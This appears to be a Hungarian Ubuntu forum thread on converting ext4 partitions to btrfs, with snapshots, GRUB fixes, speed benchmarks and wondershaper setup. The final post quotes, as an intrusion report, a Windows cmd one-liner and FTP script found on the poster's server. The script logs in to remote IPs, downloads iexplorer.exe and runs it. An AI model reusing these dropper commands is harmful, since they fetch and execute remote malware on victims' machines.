Ha mégsem indulna el, akkor könnyen visszalehet állítani ext4-re a partíciót (btrfs-convert -r /dev/sd..), viszont ha minden jó (és mért ne lenne), akkor kitörölheted a létrehozott subvolume-ét, hogy ne foglalja a helyet. -
Sokan használnak notebookon Ubuntut, és sokan akarnak átállni btrfs fájlrendszer használatára, ezért kidolgoztam egy olyan módszert, aminek segítségével külön telepített, második rendszer nélkül is megoldható a dolog. Mert ugye tegnap ezt írtam le, hogy azzal milyen egyszerű, de meglehet oldani egy sima Live Ubuntuval is a dolgot, most ennek a lépéseit írom le röviden, tömören:
1. Live Ubuntu indítás, GPartedben le kell csípni egy olyan 100 MB-nyit az átkonvertálandó rendszer partíciójából, majd ebből készíteni kell egy új partíciót és ext4-re kell formázni.
2. Telepített Ubuntu indítása, az újonnan létrehozott partíciót csatolni kell, majd a /boot teljes tartalmát át kell helyezni rá. Ezután le kell csatolni, és terminálban a /boot alá felcsatolni, hogy a helyén legyen. Az fstabot ki kell egészíteni, hogy benne legyen ez a partíció is (pl.: UUID=34521b78-28bb-4bb8-8b4f-bfffb1b73df6 /boot ext4 defaults 0 2). GParted segítségével ezt a 100 MB-os partíciót aktívra lehet állítani, de asszem ez nem lényeges annyira, enélkül is működik, de biztos ami biztos én így csináltam. Ezután Syanptic segítségével újra kell telepíteni a grub-pc csomagot.
3. Újfent a Live rendszer indítása, majd a Synapticban be kell jelölni a Universe tárolót, frissítés, majd jöhet a btrfs-tools telepítése. Terminálban a btrfs-convert segítségével lehet átkonvertálni eztán a root, ext4-es partíciót. Ezután az fstabot újfent át kell szerkeszteni, a / alá csatolandó btrfs UUID-jére átírni a régit, meg persze az ext4-et át kell írni btrfs-re. A grub.cfg-ben a root= utáni UUID-t szintén át kell írni az új karaktersorozatra.
4. Jöhet az Ubuntu indítása, először kiírogat dolgokat, hogy ismeretlen fájlrendszer meg ilyesmi, de rendben elindul a rendszer, be lehet jelentkezni. Újfent újra kell telepíteni a grub-pc csomagot a Synaptic segítségével, majd készen is vagyunk. Eztán simán elindul a rendszer, nem ír ki hibaüzeneteket.Ennyi lenne az egész, ez így csak pár perces munka, és viszonylag egyszerű az egész. Most így már a notebookomon is btrfs fájlrendszer van az Ubuntu alatt.
(#28399) sheratan: amennyire én tudom, az ext4-es fájlrendszer töredezettség mentesítése még mindig nem megoldott. Ellenben a btrfs-t már lehet, akár könyvtáranként és fájlonként is (sőt, asszem hogy csak így). Az indoe-ok előre le vannak foglalva, szal szerintem az nem töredezik. Persze lehet rajt variálni utólag, akkor elképzelhető.
-
-
válasz
Siriusb
#28389
üzenetére
Egyébként Te melyik kernellel nézted? Mert tartom valószínűnek, hogy az sem mindegy, és a 2.6.35-ös kezeli jól már.
Kernel frissítés után még nem, de a jövőben bizonyára nem lesz ezzel gond, mikor a /boot könyvtár alá nem kell már más fájlrendszert csatolni. Ha egyben van az egész, vagy legalábbis a /home van csak mondjuk külön, akkor nem lesz gond.
Nekem azért került több órába főleg, mert hatalmas partíciókat, tele tartalommal konvertálgattam át. Olyan 2,5-3 órás időtartam volt csak kettő, egyenként.
Persze ezek konvertálási sebességét nagyban csökkentette az is, hogy ezek titkosított partíciók. -
válasz
Siriusb
#28387
üzenetére
Jah, véletlen összekevertem őket, az Nautilus akart lenni, bocsi.
Már fáradt vagyok, mert leszívta az energiámat ez a btrfs-es default subvolume.Akkor nálad nem működik az általam leírt lépések követésével sem a dolog? Mert nálam jó volt így, ahogy írtam.
Mondjuk én úgy hoztam létre a snapshotokat, hogy másodjára is kiírtam az elérési útvonalat is, mert különben csak úgy jó, ha az adott könyvtárban állunk. Például:btrfs subvolume snapshot /media/home2 /media/home2/`date +%Y.%m.%d.,%H.%M.%S`
-
válasz
Kendek
#28384
üzenetére
Ha nem lenne egyértelmű, akkor visszacsinálni úgy lehet a dolgot, hogy a top level számot kell megadni, a saját esetemben ez a parancs:
btrfs subvolume set-default 5 /media/home2
Természetesen a felcsatolt subvolume van a /media/home2 alatt.
Persze erre csak nagyon nehezen jöttem rá, ezért írom le. Már mindenre gondoltam, mindent próbáltam, de ez az 5-ös szám csak így legvégül ugrott be, hogy talán ez a megoldás.
Egyébként a subvulome-os felcsatolás nem úgy viselkedett, ahogy általában a felcsatolt partíciók, mert például a Synapticban nem lehetett lecsatolni csak fel, illetve le csak root jogokkal, de akkor sem távolította el a létrehozott csatolási könyvtárat. Nem tudom, hogy ez mitől van, de visszaállítva a dolgot, újra jó lett. A terminálos csatolásosdi minden esetben ment persze. -
válasz
Siriusb
#28383
üzenetére
Igen, tudok készíteni, illetve igen, megy az is, hogy beállítsam, hogy alapértelmezetten a snapshot csatolódjon fel. Lépések:
Csatold a partíciót, majd add ki a parancsot:btrfs subvolume list /...<csatolási pont>
Nálam ez jött ki erre:
ID 256 top level 5 path 2010.06.25.,14.08.46
Tehát 256 az ID, ez kell csak. Jöhet a parancs a default beállításához az én példámmal:
btrfs subvolume set-default 256 /media/home2
Ezután lecsatoltam, majd fel a partíciót, és már a snapshot csatolódott fel. Tudom ezt azért, mert az ellenőrzésképp létrehozott könyvtár hiányzik, meg persze a subvolume is eltűnt.
-
válasz
ntomka
#28381
üzenetére
Hát, amennyi időbe belekerült tegnap a telepítés meg beállogatás, inkább többet nem szeretném végigcsinálni. Persze majd kell, de most igazából szükségtelen volt. Kockázat a dologban meg semmi sem volt, mert könnyedén vissza tudtam volna csinálni az egészet, még most is, ha akarnám.
Egyetlen probléma, hogy a btrfs fájlrendszeren elhelyezkedő swap fájlt nem lehet csatolni, így most nincs swapom. -
válasz
Kendek
#28367
üzenetére
Nah, átkonvertáltam az éles rendszerem alatt is az ext4 partíciót btrfs-re, csak pár perces meló volt az egész. Tegnap jó pár órát eltököltem az új rendszer telepítésével és beállításával, ez nem túl kellemes, de persze szükségtelen is lett volna, csak a legalapvetőbb módszer nem jutott eszembe a GRUB 2 újratelepítésére. A menete:
Elindítottam a frissen telepített rendszert (de jó lett volna a régi is), GParted segítségével vágtam le az átkonvertálandó rendszer partíciójából 100 MB-ot, majd azt ext4-re formáztam, aktívra állítottam. Amiből levágtam, azt átkonvertáltam btrfs-re, majd csatoltam, mint ahogy az újonnan készült 100 megásat is. Ez utóbbira áthelyeztem az előbbin levő boot könyvtár teljes tartalmát. Az fstabot módosítottam úgy, hogy a / UUID-jét átírtam a konvertálás miatt megváltozott új karaktersorozatra (meg az ext4-et btrfs-re), meg kiegészítettem még a /boot alá csatolandó 100 MB-os ext4-es fájlrendszer UUID-jével. A grub.cfg-ben is átírtam ez utóbbi UUID-re az ottani karaktersorozatokat. Ezután nyomattam egy sudo update-grub-ot, majd újraindítottam a gépet. Nyomtam erőteljesen a Shift billentyűt, kiválasztottam az újonnan átkonvertált rendszert, és szépen el is indult. Ott aztán a Synaptic segítségével újratelepítettem a grub-pc csomagot és megint újraindítottam, de úgy, hogy már le volt húzva a másik merevlemez, csak ez maradt. Voilá, elindult rendben a rendszer, ennyi volt az egész, semmi ördöngősség. -
válasz
No-kia
#28370
üzenetére
Jobb egérgomb az ikon felett -> Méret
(#28371) hackeeeee: mindenképpen a Mozilla Security Team a jó választás, mert abban benne van a legújabb, 3.6.4-es Firefox is, míg a másikban még csak a 3.6 van és már több hónapja nem frissítették (legalábbis a Lucidét nem, de a Karmichoz is csak a 3.6.3 van benne.)
(#28368) kovaax: a lefoglalatlan megákat hozzá tudod adni GParteddel az előttük levő partíciókhoz, az nem tart semeddig sem. A legelején levőt meg hozzá tudod adni az utána következőhöz, csak az kicsit tovább fog tartani, bár nem kibírhatatlanul, mert nem túl nagy a mérete annak sem.
-
válasz
ntomka
#28365
üzenetére
Nah, közben eljátszadoztam még a btrfs-el, megpróbáltam a másodlagos biztonsági rendszeremet átültetni rá. A /boot-tot külön raktam szépen ext4-re, elvileg minden stimmelt, de egyszerűen nem tudtam a GRUB-ot feltelepíteni úgy, hogy működjön. Próbáltam háromféleképpen is, de a chroot-os dolog nem működik.
Föltelepítettem akkor alternate CD-vel, nem mértem az időt, de elég sokáig tartott a dolog, bőven tovább mint ext4-el. Most nagyjából már normalizálódott a helyzet, mert beállítottam mindent, de az első indítás után is elég lassúcska volt.
Egyelőre két problémám van még, az egyik, hogy az egérkurzor olyan 3 másodpercen belül mindig eltűnik, csak mozgatásra jön elő (ez lehet aztán, hogy valami feature lesz, ki tudja), a másik pedig, hogy nem tudok swap fájlt kreálni, illetve az átmásolt kész fájlt sem lehet bekapcsolni, nem jöttem rá, hogy mért. -
válasz
PiciKenny
#28362
üzenetére
Számolj 5000/1000-el. Mondjuk torrent miatt érdemes visszább venni, de ne 768-ra, hanem bőségesen elég 950-re is, különben elveszik elég sok sávszél. Szal próbáld meg így, hogy 5000 és 950, ezt írd be. Amúgy ők váltáskor biztosan nem 1024-el számolnak, hanem csak 1000-el.
-
válasz
PiciKenny
#28360
üzenetére
Nincsen GUI hozzá, leírom, hogy mit kell tenned:
Első lépésben telepíted, majd a /usr/sbin/wondershaper fájlt megnyitod szerkesztésre, az első sorában a #!/bin/sh-t át kell írni #!/bin/bash-ra.
Második lépésben a /etc/network/interfaces fájlt nyitod meg szerkesztésre, és abba írogatod a dolgokat, például így nézzen ki:auto lo
iface lo inet loopback
up /usr/sbin/wondershaper wlan0 5000 500
down /usr/sbin/wondershaper clear wlan0ez azt jelenti, hogy a wlan0 eszközt (ez wifi, amúgy a vezetékes az eth0 lesz valszeg nálad) szabályozza, a maximális letöltés 5000 Kbps, a feltöltés meg 500 Kbps. Ez utóbbinál érdemes olyan 5-10 %-nál kevesebbet írni mint a névleges sebesség, akkor a leghatékonyabb. Ellenőrzésképp, hogy működik-e, írhatsz be alacsonyabb számokat is, mint a sávszélességed, akkor annál gyorsabban letölteni nem tudsz, ha jó.
Hogy működésbe lépjen, ki kell még adni asudo /etc/init.d/networking restart
parancsot úgy, hogy a hálózati ikonnál az értesítési területen letiltod a hálózatot addig, majd utána engedélyezed. Vagy persze újra is indíthatod a gépet.
-
válasz
ntomka
#28355
üzenetére
Nah, kész is vagyok. Kétféle tesztet csináltam, egy nagy fájlosat, melyet a Debian.vdi képviselt a maga 12,7 GiB-nyi méretével:
btrfs -> btrfs compress - 1:56.30
ext4 -> btrfs compress - 1:52.18
btrfs -> ext4 - 1:52.18
btrfs compress -> ext4 - 1:49.67
btrfs compress -> btrfs - 1.52.55meg egy kis fájlosat, amit kettő kernel forrás együttes mérete adott:
btrfs -> btrfs compress - 2:59.35
ext4 -> btrfs compress - 2:50.33
btrfs -> ext4 - 1:45.62
btrfs compress -> ext4 - 1:33.69
btrfs compress -> btrfs - 1:58.49
ext4 -> btrfs - 1:58.19Itt ez utóbbinál lemértem mindent kétszer, volt amit háromszor is, és a jobbikat adtam meg.
Annyi látszik, hogy bizony a tömörített btrfs kicsiny fájlok másolásánál nem jeleskedik a sebesség szempontjából. Az ext4 pedig egyértelműen, minden esetben gyorsabb a btrfs-nél. Tehát asszem inkább kikapcsolom ezt a tömörítéses bigyulát. -
válasz
ntomka
#28353
üzenetére
Mert igencsak bonyolultnak találtam a dolgot. Alapból nem lenne gond, de fel kellene tölteni fordításra, de ezen nincs mit fordítani. Egy csomó mindent is figyelembe kell venni, az elnevezésnél is be kell tartani szabályokat. Aztán meg ott van az is, hogy nem csak Ubuntuhoz jó. Persze ha valaki jártasabb személy adna eligazítást, akkor végül is oda is felmehetne. De amennyit frissítem mostanában, még tároló sem kell neki. Őszintén szólva a btrfs nagy konkurencia, úgyhogy lehet értelmét is veszti a dolog hamarosan.
Jut eszembe, csinálom is a sebességméréseket akkor.
-
-
válasz
ntomka
#28348
üzenetére
De nem értem a dolgot, mert csak olvasható a tartalom, nem tudnak bejelentkezni adminként, mert nincsenek felhasználók sem. Próbálkozni próbálkoztak, sőt, folyamatos volt a támadás router nélkül. Most éppen azért néztem rá, mert nem logolt, bár ez inkább azért volt, mert nem futott.
(#28349) hackeeeee: néha volt csak nyitva, meg próbálkoztam a Windet beüzemelni routernek, de aztán meggondoltam magam. Egyrészt azért, mert max. WEP titkosításig jutottam, másrészt meg azért, mert a security logban csak azt láttam, hogy állandóan próbálnak bejelentkezni adminként. Inkább dobtam fel a routerre egy DD-WRT firmware-t, aztán király lett az is.
-
Bake, most néztem rá az FTP szerveremre (vagyis tároló), ProFTPD-vel megy meg minden. Mondjuk nyitott Wifivel egyből beszokott költözni a megosztott könyvtárba egy exe-s fájl, ezt törölni szoktam. De persze titkosítva van, szal nincs gond. Viszont most a root terminált nézegetve találtam érdekes parancsokat, amelyeket még véletlen sem én adtam ki:
7~
%systemroot%\system32\cmd.exe
del eq&echo open 190.142.239.135 20207 >> eq&echo user 22438 22543 >> eq &echo get iexplorer.exe >> eq &echo quit >> eq &ftp -n -s:eq &iexplorer.exe &del eqMeg van egy eq elnevezésű fájl is a saját könyvtáramban, azóta már töröltem. A tartalma:
get iexplorer.exe
open 190.159.142.119 18037
quit
user 20669 2222
open 190.105.3.227 33678
get iexplorer.exe
user 19444 32654
quit
get iexplorer.exe
user 22438 22543
quit
open 190.142.239.135 20207Nyugalom, pánikra semmi ok, nincsen Internet Explorer a rendszeren.
Aktív témák
Hirdetés
- Bitdefender Total Security 3év/3eszköz! - Tökéletes védelem, Most kedvező áron!
- Számlás!Steam,EA,Epic és egyébb játékok Pc-re vagy XBox!
- Bontatlan - BATTLEFIELD 1 Collectors Edition - Játékszoftver nélkül
- Windows 10 11 Pro Office 19 21 Pro Plus Retail kulcs 1 PC Mac AKCIÓ! Automatikus 0-24
- Windows 10/11 Home/Pro , Office 2024 kulcsok
- AKCÓÓÓ!!! Panasonic CF-XZ6 AIO all-in-one laptop tablet 2k touch i5-7300u speciális ütésálló
- BESZÁMÍTÁS! ASRock Z370 i5 8500 16GB DDR4 512GB SSD 2060 Super 8GB Zalman Z9 Plus Enermax 750W
- Fotós felszerelés - Stúdió lámpa / Softbox / Vaku
- ÁRGARANCIA!Épített KomPhone Ryzen 7 9800X3D 64GB RAM RTX 5080 16GB GAMER PC termékbeszámítással
- 118 - Lenovo Legion Pro 5 (16ARX8) - AMD Ryzen 9 7945HX, RTX 4070 - UK billentyűzet
Állásajánlatok
Cég: PC Trade Systems Kft.
Város: Szeged
Cég: PCMENTOR SZERVIZ KFT.
Város: Budapest